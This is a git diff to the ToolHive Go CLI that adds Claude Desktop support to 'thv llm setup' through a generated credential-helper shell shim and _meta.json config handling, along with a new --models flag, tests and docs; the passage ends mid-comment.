diff --git a/cmd/thv/app/llm.go b/cmd/thv/app/llm.go index b64a44ebb8..a5aec8ae39 100644 --- a/cmd/thv/app/llm.go +++ b/cmd/thv/app/llm.go @@ -228,17 +228,24 @@ func newLLMSetupCommand() *cobra.Command { anthropicPathPrefix string lazy bool skipBrowser bool + models []string ) cmd := &cobra.Command{ Use: "setup", Short: "Configure detected AI tools to use the LLM gateway", - Long: `Detect installed AI coding tools (Claude Code, Gemini CLI, Cursor, VS Code, -Xcode) and patch each tool's configuration to route through the LLM gateway. + Long: `Detect installed AI tools (Claude Code, Gemini CLI, Cursor, VS Code, Xcode, +Claude Desktop) and patch each tool's configuration to route through the LLM +gateway. Token-helper tools (Claude Code, Gemini CLI) are configured to call "thv llm token" to obtain a fresh OIDC token on demand. +Claude Desktop is configured via its third-party inference credential helper, +which also calls "thv llm token". It reads its configuration only at launch, so +fully quit and relaunch it after setup. Pass --models to list the models it +should offer until the gateway serves model discovery itself. + Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". @@ -265,7 +272,7 @@ Run "thv llm teardown" to revert all changes.`, return runLLMSetup( cmd.Context(), cmd.OutOrStdout(), cmd.ErrOrStderr(), cm, config.NewDefaultProvider(), login, opts, - anthropicPathPrefix, cmd.Flags().Changed("anthropic-path-prefix"), targetClient, lazy, + anthropicPathPrefix, cmd.Flags().Changed("anthropic-path-prefix"), targetClient, lazy, models, ) }, } @@ -291,6 +298,9 @@ Run "thv llm teardown" to revert all changes.`, "accesses the gateway. Tool config and persisted settings are written normally. "+ "Useful for unattended provisioning (e.g. an MDM profile).") cmd.Flags().BoolVar(&skipBrowser, "skip-browser", false, skipBrowserFlagUsage) + cmd.Flags().StringSliceVar(&models, "models", nil, + "Explicit model IDs to expose to credential-helper clients (Claude Desktop's inferenceModels). "+ + "Repeat or comma-separate. Omit to rely on the gateway's own model discovery once it is available.") return cmd } @@ -310,12 +320,12 @@ func runLLMSetup( ctx context.Context, out, errOut io.Writer, cm *client.ClientManager, provider config.Provider, login llm.LoginFunc, inlineOpts llm.SetOptions, anthropicPathPrefix string, anthropicPathPrefixSet bool, targetClient string, - lazy bool, + lazy bool, models []string, ) error { return llm.Setup( ctx, out, errOut, &clientManagerAdapter{cm}, &configUpdaterAdapter{provider}, login, - inlineOpts, anthropicPathPrefix, anthropicPathPrefixSet, targetClient, lazy, + inlineOpts, anthropicPathPrefix, anthropicPathPrefixSet, targetClient, lazy, models, ) } @@ -403,6 +413,10 @@ func (a *clientManagerAdapter) LLMGatewayModeFor(clientType string) string { return a.cm.LLMGatewayModeFor(client.ClientApp(clientType)) } +func (a *clientManagerAdapter) IsManaged(clientType string) bool { + return a.cm.IsManaged(client.ClientApp(clientType)) +} + func (a *clientManagerAdapter) ConfigureEnvFile(clientType string, cfg llmgateway.ApplyConfig) (string, error) { return a.cm.ConfigureEnvFile(client.ClientApp(clientType), cfg) } diff --git a/cmd/thv/app/llm_test.go b/cmd/thv/app/llm_test.go index 0401387fa0..3c3fd10ead 100644 --- a/cmd/thv/app/llm_test.go +++ b/cmd/thv/app/llm_test.go @@ -71,7 +71,7 @@ func TestRunLLMSetup_NotConfigured(t *testing.T) { provider := llmProvider(t, llm.Config{}) // no gateway URL var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.Error(t, err) assert.Contains(t, err.Error(), "not configured") } @@ -98,7 +98,7 @@ func TestRunLLMSetup_NoDetectedTools(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.NoError(t, err) assert.Contains(t, stdout.String(), "No supported AI tools detected") } @@ -142,7 +142,7 @@ func TestRunLLMSetup_PartialFailure(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.NoError(t, err) assert.Contains(t, stderr.String(), "Warning: failed to configure claude-code") assert.Contains(t, stdout.String(), "Configured gemini-cli") @@ -176,7 +176,7 @@ func TestRunLLMSetup_RollbackOnConfigUpdateFailure(t *testing.T) { provider := &errOnUpdateProvider{cfg: c, updateErr: errors.New("disk full")} var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.Error(t, err) assert.Contains(t, err.Error(), "persisting tool configuration") @@ -226,7 +226,7 @@ func TestRunLLMSetup_RollbackBothToolsOnConfigUpdateFailure(t *testing.T) { provider := &errOnUpdateProvider{cfg: c, updateErr: errors.New("disk full")} var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.Error(t, err) assert.Contains(t, err.Error(), "persisting tool configuration") @@ -273,7 +273,7 @@ func TestRunLLMSetup_LoginFailureLeavesNoState(t *testing.T) { var stdout, stderr bytes.Buffer err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, func(_ context.Context, _ *llm.Config) error { return loginErr }, - llm.SetOptions{}, "", false, "", false, + llm.SetOptions{}, "", false, "", false, nil, ) require.Error(t, err) assert.Contains(t, err.Error(), "OIDC login failed") @@ -474,7 +474,7 @@ func TestRunLLMSetup_ClientFlag_ConfiguresSingleTool(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "claude-code", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "claude-code", false, nil) require.NoError(t, err) assert.Contains(t, stdout.String(), "Configured claude-code") assert.NotContains(t, stdout.String(), "gemini-cli") @@ -519,7 +519,7 @@ func TestRunLLMSetup_Lazy_SkipsLoginButConfiguresTools(t *testing.T) { var stdout, stderr bytes.Buffer // anthropicPathPrefixSet=true skips the network probe; lazy=true. err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, - recordingLogin, llm.SetOptions{}, "", true, "", true) + recordingLogin, llm.SetOptions{}, "", true, "", true, nil) require.NoError(t, err) assert.False(t, loginCalled, "lazy mode must not invoke the OIDC login") @@ -558,7 +558,7 @@ func TestRunLLMSetup_ClientFlag_NotInstalled(t *testing.T) { var stdout, stderr bytes.Buffer // cursor is not installed (no dir); expect an error. - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "cursor", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "cursor", false, nil) require.Error(t, err) assert.Contains(t, err.Error(), `"cursor" is not installed or not detected`) } diff --git a/docs/cli/thv_llm_setup.md b/docs/cli/thv_llm_setup.md index 926266ec41..d7f9ffadac 100644 --- a/docs/cli/thv_llm_setup.md +++ b/docs/cli/thv_llm_setup.md @@ -15,12 +15,18 @@ Configure detected AI tools to use the LLM gateway ### Synopsis -Detect installed AI coding tools (Claude Code, Gemini CLI, Cursor, VS Code, -Xcode) and patch each tool's configuration to route through the LLM gateway. +Detect installed AI tools (Claude Code, Gemini CLI, Cursor, VS Code, Xcode, +Claude Desktop) and patch each tool's configuration to route through the LLM +gateway. Token-helper tools (Claude Code, Gemini CLI) are configured to call "thv llm token" to obtain a fresh OIDC token on demand. +Claude Desktop is configured via its third-party inference credential helper, +which also calls "thv llm token". It reads its configuration only at launch, so +fully quit and relaunch it after setup. Pass --models to list the models it +should offer until the gateway serves model discovery itself. + Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". @@ -49,6 +55,7 @@ thv llm setup [flags] -h, --help help for setup --issuer string OIDC issuer URL --lazy Skip the interactive OIDC login and defer it until the first time a configured tool accesses the gateway. Tool config and persisted settings are written normally. Useful for unattended provisioning (e.g. an MDM profile). + --models strings Explicit model IDs to expose to credential-helper clients (Claude Desktop's inferenceModels). Repeat or comma-separate. Omit to rely on the gateway's own model discovery once it is available. --proxy-port int Localhost proxy listen port (omit to keep current; default: 14000) --skip-browser Print the OIDC authorization URL instead of opening a browser, then wait for the callback. Use in headless/SSH/CI environments where no system browser is available. --tls-skip-verify Skip TLS certificate verification for the upstream gateway (local dev only). For direct-mode tools (Claude Code, Gemini CLI) this sets NODE_TLS_REJECT_UNAUTHORIZED=0, disabling TLS for ALL of that tool's outbound connections. For proxy-mode tools only the proxy-to-gateway connection is affected. diff --git a/pkg/client/config.go b/pkg/client/config.go index b68b34fff4..44571ec48c 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -20,6 +20,7 @@ import ( "github.com/tailscale/hujson" "gopkg.in/yaml.v3" + "github.com/stacklok/toolhive/pkg/llmgateway" "github.com/stacklok/toolhive/pkg/transport/types" ) @@ -108,6 +109,12 @@ const ( // It is declared as LLMClientApp (not ClientApp) so that code generators // such as swag do not include "xcode" in the MCP API ClientApp enum. Xcode LLMClientApp = "xcode" + + // ClaudeDesktop represents the Claude Desktop app configured for LLM gateway + // routing via its "third-party inference" surface. Only LLM-gateway support is + // wired here (not MCP), so it is declared as LLMClientApp — same rationale as + // Xcode above. + ClaudeDesktop LLMClientApp = "claude-desktop" ) // Extension is extension of the client config file. @@ -270,6 +277,20 @@ type clientAppConfig struct { // LLMEnvFileKeys lists the key=value entries to write to the .env file when // setting up (or reverting) LLM gateway access. LLMEnvFileKeys []LLMEnvFileKeySpec + // LLMDetectRelPath and LLMDetectPlatformPrefix locate a directory whose + // existence indicates the tool is installed. Used for GUI apps that are not + // on $PATH (LLMBinaryName is empty) and whose LLM settings directory does not + // exist until first configured — so the settings dir cannot be the detection + // signal. When set, DetectedLLMGatewayClients checks this directory instead of + // the settings directory. Resolved with the same semantics as + // LLMSettingsRelPath / LLMSettingsPlatformPrefix. + LLMDetectRelPath []string + LLMDetectPlatformPrefix map[Platform][]string + // LLMManagedProfileDomain is the macOS managed-preferences plist domain + // (e.g. "com.anthropic.claudefordesktop.plist") that, when present, overrides + // the client's local config. Setup warns when detected. Empty when the client + // has no managed-profile surface. + LLMManagedProfileDomain string } // extractServersKeyFromConfig extracts the servers key from MCPServersPathPrefix @@ -1058,6 +1079,37 @@ var supportedClientIntegrations = []clientAppConfig{ {JSONPointer: "/apiKey", ValueField: "PlaceholderAPIKey"}, }, }, + { + // Claude Desktop routes LLM traffic through the gateway via its + // "third-party inference" surface. Unlike Claude Code (a single JSON + // settings file), Desktop uses a configLibrary directory: one config + // document per saved config plus a _meta.json selector naming the active + // one. That document model does not fit JSON-key patching, so this entry + // uses LLMGatewayMode "credential-helper" and carries no LLMGatewayKeys — + // the dedicated credential-helper writer handles it. LLM-gateway-only (MCP + // not wired). Cast LLMClientApp → ClientApp for internal storage. + ClientType: ClientApp(ClaudeDesktop), + Description: "Claude Desktop", + LLMGatewayOnly: true, + LLMGatewayMode: llmgateway.ModeCredentialHelper, + // Settings file is the _meta.json selector; the writer derives the + // containing configLibrary directory from it. + LLMSettingsFile: "_meta.json", + LLMSettingsRelPath: []string{"Claude-3p", "configLibrary"}, + LLMSettingsPlatformPrefix: map[Platform][]string{ + PlatformDarwin: {"Library", "Application Support"}, + PlatformWindows: {"AppData", "Local"}, + }, + // Detect via the app's user-data directory, which exists once Claude + // Desktop has run — the configLibrary directory above does not exist + // until first configured, so it cannot be the detection signal. + LLMDetectRelPath: []string{"Claude"}, + LLMDetectPlatformPrefix: map[Platform][]string{ + PlatformDarwin: {"Library", "Application Support"}, + PlatformWindows: {"AppData", "Roaming"}, + }, + LLMManagedProfileDomain: "com.anthropic.claudefordesktop.plist", + }, } // GetAllClients returns a slice of all supported MCP client types, sorted alphabetically. diff --git a/pkg/client/llm_gateway.go b/pkg/client/llm_gateway.go index 4de8922ec3..c1d5c35d76 100644 --- a/pkg/client/llm_gateway.go +++ b/pkg/client/llm_gateway.go @@ -41,6 +41,12 @@ func (cm *ClientManager) ConfigureLLMGateway(clientType ClientApp, cfg llmgatewa return "", fmt.Errorf("client %q does not support LLM gateway configuration", clientType) } + // Credential-helper clients (Claude Desktop) use a document + selector model + // that does not fit JSON-key patching; dispatch to the dedicated writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCredentialHelper { + return cm.configureCredentialHelper(appCfg, cfg) + } + path := cm.buildLLMSettingsPath(appCfg) if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { @@ -168,6 +174,11 @@ func (cm *ClientManager) RevertLLMGateway(clientType ClientApp, configPath strin return fmt.Errorf("client %q does not support LLM gateway configuration", clientType) } + // Credential-helper clients (Claude Desktop) revert via the dedicated writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCredentialHelper { + return cm.revertCredentialHelper(appCfg, configPath) + } + // Guard against a missing file (or deleted parent directory) before trying // to acquire the lock — WithFileLock creates configPath+".lock", which // fails when the directory no longer exists. @@ -226,6 +237,14 @@ func (cm *ClientManager) IsLLMGatewaySupported(clientType ClientApp) bool { return cfg != nil && cfg.LLMGatewayMode != "" } +// IsManaged reports whether an MDM/managed-preferences profile is present for +// the given client. When true, the client reads config from the managed profile +// and ignores the local config "thv llm setup" writes, so setup warns the user. +func (cm *ClientManager) IsManaged(clientType ClientApp) bool { + cfg := cm.lookupClientAppConfig(clientType) + return cfg != nil && managedProfilePresent(cfg.LLMManagedProfileDomain) +} + // LLMGatewayModeFor returns "direct", "proxy", or "" for the given client. func (cm *ClientManager) LLMGatewayModeFor(clientType ClientApp) string { cfg := cm.lookupClientAppConfig(clientType) @@ -249,8 +268,17 @@ func (cm *ClientManager) DetectedLLMGatewayClients() []ClientApp { if cfg.LLMGatewayMode == "" { continue } - path := cm.buildLLMSettingsPath(cfg) - if _, err := os.Stat(filepath.Dir(path)); err != nil { + // Detection directory: for GUI apps whose settings directory does not + // exist until first configured (e.g. Claude Desktop's configLibrary), + // LLMDetectRelPath points at a directory that exists once the app is + // installed. Otherwise fall back to the settings directory. + detectDir := func() string { + if cfg.LLMDetectRelPath != nil { + return buildConfigFilePath("", cfg.LLMDetectRelPath, cfg.LLMDetectPlatformPrefix, []string{cm.homeDir}) + } + return filepath.Dir(cm.buildLLMSettingsPath(cfg)) + }() + if _, err := os.Stat(detectDir); err != nil { continue } if cfg.LLMBinaryName != "" { diff --git a/pkg/client/llm_gateway_credential_helper.go b/pkg/client/llm_gateway_credential_helper.go new file mode 100644 index 0000000000..c6b07a9aa9 --- /dev/null +++ b/pkg/client/llm_gateway_credential_helper.go @@ -0,0 +1,461 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "encoding/json" + "fmt" + "log/slog" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/google/uuid" + + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// Claude Desktop's "third-party inference" config lives in a configLibrary +// directory: one .json document per saved configuration, plus a _meta.json +// selector that names the active one. This is a different shape from the single +// JSON settings file that direct/proxy clients patch, so it gets a dedicated +// writer here rather than going through the LLMGatewayKeys machinery. + +const ( + // claudeDesktopManagedEntryName is the stable display name of the config + // entry ToolHive owns in _meta.json. Reusing a fixed name (rather than a + // fresh UUID per run) keeps setup idempotent — repeated "thv llm setup" + // calls update the same entry instead of accumulating orphans. + claudeDesktopManagedEntryName = "ToolHive Gateway" + + // claudeDesktopCredentialKind selects the credential-helper auth model + // (a local executable that prints a token), as opposed to "interactive" + // (Claude Desktop runs its own OIDC flow). + claudeDesktopCredentialKind = "helper-script" +) + +// claudeDesktopConfig is the .json document written into the configLibrary. +// ToolHive fully owns this file, so a typed struct is safe (no user fields to +// preserve). inferenceModels is omitted when empty so Claude Desktop falls back +// to gateway-side model auto-discovery once the gateway serves it. +type claudeDesktopConfig struct { + InferenceProvider string `json:"inferenceProvider"` + InferenceGatewayBaseURL string `json:"inferenceGatewayBaseUrl"` + InferenceGatewayAuthScheme string `json:"inferenceGatewayAuthScheme"` + InferenceCredentialKind string `json:"inferenceCredentialKind"` + InferenceCredentialHelper string `json:"inferenceCredentialHelper"` + InferenceCredentialHelperTtlSec int `json:"inferenceCredentialHelperTtlSec"` + InferenceCredentialHelperTimeoutSec int `json:"inferenceCredentialHelperTimeoutSec"` + InferenceModels []string `json:"inferenceModels,omitempty"` +} + +// configureCredentialHelper writes (or updates) ToolHive's Claude Desktop +// configuration: it generates the credential-helper shim, writes the config +// document, and points _meta.json at it. It returns the absolute path of the +// config document, which RevertLLMGateway later uses to undo the change. +// +// The _meta.json update is done under a file lock and preserves every entry and +// key ToolHive does not own, so a user's other saved configurations are left +// intact. Writes are crash-safe via AtomicWriteFile. +func (cm *ClientManager) configureCredentialHelper(appCfg *clientAppConfig, cfg llmgateway.ApplyConfig) (string, error) { + if runtime.GOOS == "windows" { + // The shim is a POSIX /bin/sh script — consistent with the rest of the + // LLM gateway token-helper feature, which is POSIX-only (see + // buildTokenHelperCommand in pkg/llm). Windows support is a follow-up. + return "", fmt.Errorf("claude-desktop LLM gateway setup is not supported on Windows yet") + } + + metaPath := cm.buildLLMSettingsPath(appCfg) + dir := filepath.Dir(metaPath) + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", fmt.Errorf("creating %s: %w", dir, err) + } + + // Reuse the shared AnthropicBaseURL resolution (falls back to GatewayURL) so + // this stays in sync with direct-mode clients if the rule ever changes. + baseURL, _ := resolveApplyConfigField("AnthropicBaseURL", cfg) + + // Write the shim, config document, and _meta.json selector all inside the + // lock so concurrent setup/teardown runs cannot interleave — e.g. one run's + // failure-cleanup deleting a shim another run's committed config depends on. + // _meta.json is written last, so a mid-write failure never leaves Claude + // Desktop pointing at our config; best-effort cleanup then removes the + // unreferenced files it created. + var configPath string + err := fileutils.WithFileLock(metaPath, func() error { + // Track whether the shim already existed so failure cleanup does not + // delete a shim an earlier successful setup still depends on. + shimExisted := fileExistsAt(cm.credentialHelperShimPath()) + shimPath, err := cm.writeCredentialHelperShim(cfg.TokenHelperCommand) + if err != nil { + return err + } + cleanup := func(cp string) { + if !shimExisted { + _ = os.Remove(shimPath) + } + if cp != "" { + _ = os.Remove(cp) + } + } + + meta, err := readClaudeDesktopMeta(metaPath) + if err != nil { + cleanup("") + return err + } + id := metaEntryID(meta, claudeDesktopManagedEntryName) + if id == "" { + id = uuid.NewString() + } + // Upsert by name so an existing (possibly malformed) "ToolHive Gateway" + // entry is corrected in place rather than leaving a duplicate — preserving + // the idempotency the stable name is there to provide. + meta["entries"] = upsertMetaEntry(metaEntries(meta), id, claudeDesktopManagedEntryName) + meta["appliedId"] = id + + doc := claudeDesktopConfig{ + InferenceProvider: "gateway", + InferenceGatewayBaseURL: baseURL, + InferenceGatewayAuthScheme: "bearer", + InferenceCredentialKind: claudeDesktopCredentialKind, + InferenceCredentialHelper: shimPath, + InferenceCredentialHelperTtlSec: int(llmgateway.ClaudeDesktopHelperTTL.Seconds()), + InferenceCredentialHelperTimeoutSec: int(llmgateway.ClaudeDesktopHelperTimeout.Seconds()), + InferenceModels: cfg.Models, + } + docBytes, err := json.MarshalIndent(doc, "", " ") + if err != nil { + cleanup("") + return fmt.Errorf("encoding Claude Desktop config: %w", err) + } + cp := filepath.Join(dir, id+".json") + if err := fileutils.AtomicWriteFile(cp, docBytes, 0o600); err != nil { + cleanup(cp) + return fmt.Errorf("writing %s: %w", cp, err) + } + if err := writeClaudeDesktopMeta(metaPath, meta); err != nil { + cleanup(cp) + return err + } + configPath = cp + return nil + }) + if err != nil { + return "", err + } + return configPath, nil +} + +// revertCredentialHelper undoes configureCredentialHelper: it removes ToolHive's +// entry from _meta.json (leaving other entries untouched), clears appliedId when +// it pointed at our config, deletes the config document, and removes the shim. +// A missing file at any step is treated as already-reverted. +// +// Ordering matters: the selector (_meta.json) is de-referenced and the config +// document deleted BEFORE the shim, so a mid-revert failure never leaves Claude +// Desktop pointing at a config that references a missing helper executable. Any +// leftover file after a partial failure is unreferenced and harmless. +func (cm *ClientManager) revertCredentialHelper(appCfg *clientAppConfig, configPath string) error { + // Nothing recorded to revert. Do NOT touch the shim here: without the config + // path we cannot confirm _meta.json no longer references it, and removing it + // could break a still-applied config. + if configPath == "" { + return nil + } + // Derive the configLibrary dir from appCfg (not from configPath) so a + // tampered stored configPath cannot redirect teardown at an arbitrary + // directory. The config document must live inside this dir. + metaPath := cm.buildLLMSettingsPath(appCfg) + dir := filepath.Dir(metaPath) + if !fileExistsAt(dir) { + // Config directory already gone — nothing to revert. + return nil + } + + id := metaIDFromConfigPath(configPath) + if !isSafeConfigID(id) { + // Symmetric with configureCredentialHelper: a corrupted or hand-edited + // stored configPath whose id is not a bare filename is treated as + // already-reverted rather than risk unlinking through it. + return nil + } + // Reconstruct the expected path and require the stored configPath to match + // it. os.Remove follows symlinks, so a stored path outside configLibrary + // (or a symlink inside it) must not let teardown unlink an arbitrary file. + expectedPath := filepath.Join(dir, id+".json") + if configPath != expectedPath { + return nil + } + shimPath := cm.credentialHelperShimPath() + + // All steps run under the metaPath lock so a concurrent setup/teardown cannot + // interleave. Ordering: de-reference _meta.json, delete the config document, + // then remove the shim last — so a mid-revert failure never leaves Claude + // Desktop pointing at a config whose helper is gone. + return fileutils.WithFileLock(metaPath, func() error { + if fileExistsAt(metaPath) { + meta, err := readClaudeDesktopMeta(metaPath) + if err != nil { + return err + } + meta["entries"] = removeMetaEntry(metaEntries(meta), id) + // Only clear appliedId if it still points at our config; leave a + // user's own active config selection alone. + applied, ok := meta["appliedId"].(string) + if !ok && meta["appliedId"] != nil { + slog.Warn("Claude Desktop _meta.json has a non-string appliedId; leaving it unchanged", + "path", metaPath) + } + if applied == id { + meta["appliedId"] = "" + } + if err := writeClaudeDesktopMeta(metaPath, meta); err != nil { + return err + } + } + if err := removeIfExists(configPath); err != nil { + return err + } + if err := os.Remove(shimPath); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("removing credential helper shim %s: %w", shimPath, err) + } + return nil + }) +} + +// credentialHelperShimPath is the fixed location of the generated shim. +func (cm *ClientManager) credentialHelperShimPath() string { + return filepath.Join(cm.homeDir, ".toolhive", "llm", "claude-desktop-helper.sh") +} + +// writeCredentialHelperShim generates the no-arg executable that Claude Desktop +// invokes as its inferenceCredentialHelper. Claude Desktop requires an absolute +// path to an executable (no arguments), whereas tokenHelperCommand is a shell +// command string (e.g. `"…thv" llm token`); the shim bridges the two. +// +// Claude Desktop sets CLAUDE_HELPER_CONTEXT on each call. Only "interactive" +// permits an OIDC browser flow; silent contexts (background / setup-test / +// mid-session-refresh) must not hijack the user's browser, so they use +// --skip-browser and rely on the cached/refresh token that "thv llm setup" +// primed up front. +func (cm *ClientManager) writeCredentialHelperShim(tokenHelperCommand string) (string, error) { + if tokenHelperCommand == "" { + return "", fmt.Errorf("no token-helper command available for credential helper shim") + } + if !isSafeTokenHelperCommand(tokenHelperCommand) { + // Defence in depth: the producer (buildTokenHelperCommand) is shell-safe + // today, but the writer must not silently emit an injectable 0700 script + // if a future caller constructs tokenHelperCommand differently. + return "", fmt.Errorf("refusing to write credential helper shim: token-helper command is not shell-safe") + } + shimPath := cm.credentialHelperShimPath() + if err := os.MkdirAll(filepath.Dir(shimPath), 0o700); err != nil { + return "", fmt.Errorf("creating credential helper directory: %w", err) + } + script := "#!/bin/sh\n" + + "# Generated by `thv llm setup` — Claude Desktop credential helper.\n" + + "# Prints a fresh LLM gateway token. Do not edit; `thv llm teardown` removes it.\n" + + "if [ \"$CLAUDE_HELPER_CONTEXT\" = \"interactive\" ]; then\n" + + " exec " + tokenHelperCommand + "\n" + + "fi\n" + + "exec " + tokenHelperCommand + " --skip-browser\n" + if err := fileutils.AtomicWriteFile(shimPath, []byte(script), 0o700); err != nil { + return "", fmt.Errorf("writing credential helper shim %s: %w", shimPath, err) + } + return shimPath, nil +} + +// isSafeTokenHelperCommand reports whether tokenHelperCommand matches the shape +// produced by buildTokenHelperCommand: a double-quoted path followed by the +// literal args "llm token", with no shell metacharacters that could break out +// of the exec line the shim concatenates. The shim is a 0700 /bin/sh script +// built by string concatenation, so a caller-supplied command containing ";", +// "&", "|", "`", "$", "#", or newlines would be stored command injection. +// +// buildTokenHelperCommand (pkg/llm/setup.go) is shell-safe today — it rejects +// paths containing those characters before formatting — but TokenHelperCommand +// is exposed as a general ApplyConfig field consumed by multiple writers. This +// check makes the shim writer fail closed on any command it cannot prove safe, +// rather than trusting every future caller to uphold the contract. +func isSafeTokenHelperCommand(tokenHelperCommand string) bool { + if tokenHelperCommand == "" { + return false + } + for _, r := range tokenHelperCommand { + switch r { + case ';', '&', '|', '`', '$', '#', '\n', '\r': + return false + } + } + // Must be a double-quoted path followed by exactly " llm token". + if len(tokenHelperCommand) < 2 || tokenHelperCommand[0] != '"' { + return false + } + closeQuote := strings.IndexByte(tokenHelperCommand[1:], '"') + if closeQuote == -1 { + return false + } + return tokenHelperCommand[2+closeQuote:] == " llm token" +} + +// managedProfilePresent reports whether an MDM/managed-preferences profile for +// the given plist domain is present. A managed profile overrides a client's +// local config, so "thv llm setup" warns when one is detected (the local config +// it writes would be ignored). macOS only; returns false elsewhere or when the +// client declares no managed-profile domain. +func managedProfilePresent(domain string) bool { + if domain == "" || runtime.GOOS != "darwin" { + return false + } + return managedProfileExistsUnder(managedPreferencesRoot, domain) +} + +// managedPreferencesRoot is the macOS managed-preferences directory. A package +// variable (not a const) so tests can point it at a temp directory. +var managedPreferencesRoot = "/Library/Managed Preferences" + +// managedProfileExistsUnder reports whether a managed-preferences plist for +// domain exists directly under root or under a per-user subdirectory +// (root//domain). Platform-independent so it is unit-testable. +func managedProfileExistsUnder(root, domain string) bool { + if _, err := os.Stat(filepath.Join(root, domain)); err == nil { + return true + } + matches, _ := filepath.Glob(filepath.Join(root, "*", domain)) + return len(matches) > 0 +} + +// ── _meta.json helpers ───────────────────────────────────────────────────── + +// readClaudeDesktopMeta reads _meta.json into a generic map so unknown keys are +// preserved on write-back. A missing or empty file yields a fresh selector. +func readClaudeDesktopMeta(path string) (map[string]any, error) { + data, err := os.ReadFile(path) // #nosec G304 -- known config file location + if err != nil { + if os.IsNotExist(err) { + return map[string]any{"appliedId": "", "entries": []any{}}, nil + } + return nil, fmt.Errorf("reading %s: %w", path, err) + } + if len(data) == 0 { + return map[string]any{"appliedId": "", "entries": []any{}}, nil + } + var meta map[string]any + if err := json.Unmarshal(data, &meta); err != nil { + return nil, fmt.Errorf("parsing %s: %w", path, err) + } + if meta == nil { + meta = map[string]any{} + } + // Guard the "valid JSON, wrong shape" case: if entries is present but not a + // JSON array, bail rather than silently dropping it — metaEntries would treat + // it as empty and a subsequent append would overwrite the user's data. + if e, ok := meta["entries"]; ok && e != nil { + if _, isArray := e.([]any); !isArray { + return nil, fmt.Errorf("parsing %s: %q must be a JSON array", path, "entries") + } + } + return meta, nil +} + +// writeClaudeDesktopMeta encodes meta and writes it atomically. +func writeClaudeDesktopMeta(path string, meta map[string]any) error { + data, err := json.MarshalIndent(meta, "", " ") + if err != nil { + return fmt.Errorf("encoding %s: %w", path, err) + } + if err := fileutils.AtomicWriteFile(path, data, 0o600); err != nil { + return fmt.Errorf("writing %s: %w", path, err) + } + return nil +} + +// metaEntries returns the entries slice from meta, or an empty slice. +func metaEntries(meta map[string]any) []any { + entries, _ := meta["entries"].([]any) + return entries +} + +// metaEntryID returns the id of the entry with the given name, or "" if absent. +// _meta.json lives in a directory Claude Desktop and users also write to, so the +// stored id is untrusted: an unsafe value is treated as absent so the caller +// mints a fresh, safe UUID rather than joining a path-traversing id into the +// configLibrary path. See isSafeConfigID. +func metaEntryID(meta map[string]any, name string) string { + for _, e := range metaEntries(meta) { + entry, ok := e.(map[string]any) + if !ok { + continue + } + if n, _ := entry["name"].(string); n == name { + id, _ := entry["id"].(string) + if !isSafeConfigID(id) { + return "" + } + return id + } + } + return "" +} + +// isSafeConfigID reports whether id is a bare filename safe to join into the +// configLibrary path — non-empty, no path separators, and no "..". Guards +// against a corrupted or hand-edited _meta.json entry escaping configLibrary. +func isSafeConfigID(id string) bool { + return id != "" && filepath.Base(id) == id && !strings.Contains(id, "..") +} + +// upsertMetaEntry sets the id of the entry with the given name if one exists +// (correcting a malformed or stale same-name entry in place), or appends a new +// entry otherwise. Prevents duplicate ToolHive-owned entries. +func upsertMetaEntry(entries []any, id, name string) []any { + for _, e := range entries { + entry, ok := e.(map[string]any) + if !ok { + continue + } + if n, _ := entry["name"].(string); n == name { + entry["id"] = id + return entries + } + } + return append(entries, map[string]any{"id": id, "name": name}) +} + +// removeMetaEntry returns entries with the entry matching id removed. +func removeMetaEntry(entries []any, id string) []any { + out := make([]any, 0, len(entries)) + for _, e := range entries { + if entry, ok := e.(map[string]any); ok { + if eid, _ := entry["id"].(string); eid == id { + continue + } + } + out = append(out, e) + } + return out +} + +// metaIDFromConfigPath derives the config id from a ".json" path. +func metaIDFromConfigPath(configPath string) string { + base := filepath.Base(configPath) + return base[:len(base)-len(filepath.Ext(base))] +} + +// 